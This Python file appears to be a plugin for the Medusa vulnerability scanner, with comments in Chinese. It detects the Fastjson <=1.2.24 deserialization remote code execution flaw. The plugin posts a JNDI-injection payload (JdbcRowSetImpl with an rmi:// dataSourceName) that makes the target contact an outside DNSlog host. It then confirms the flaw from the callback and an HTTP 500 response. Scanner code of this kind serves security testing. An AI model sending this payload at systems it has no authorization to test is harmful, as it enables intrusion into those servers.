#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
import requests
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,Dnslog,ErrorHandling
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="0" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2019-12-4"  # 插件编辑时间
        self.info['disclosure'] = '2017-3-15'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "FastjsonDeserializationRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='Fastjson反序列化远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "Fastjson"  # 漏洞组件
        self.info['desc_content'] = "fastjson在处理以@type形式传入的类的时候，会默认调用该类的共有set\get\is函数"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "Fastjson<=1.2.24"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新Fastjson版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url=kwargs.get("Url")#获取传入的url参数
    Headers=kwargs.get("Headers")#获取传入的头文件
    proxies=kwargs.get("Proxies")#获取传入的代理参数
    try:
        payload_url = url
        DL=Dnslog()
        data = {
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "rmi://" + DL.dns_host() + "//Exploit",
                "autoCommit": True
            }
        }
        data = json.dumps(data)
        Headers['Content-Type']='application/json'
        Headers["Connection"]="close"

        resp = requests.post(payload_url, headers=Headers, data=data,proxies=proxies, timeout=10, verify=False)
        if DL.result() and resp.status_code==500:
            Medusa = "{}存在Fastjson反序列化远程代码执行漏洞\r\n 验证数据:\r\n漏洞位置:{}\r\n返回数据:{}\r\nDNSlong:{}\r\n".format(url,
                                                                                                          payload_url,
                                                                                                          resp.text,DL.dns_host())
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, resp,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类
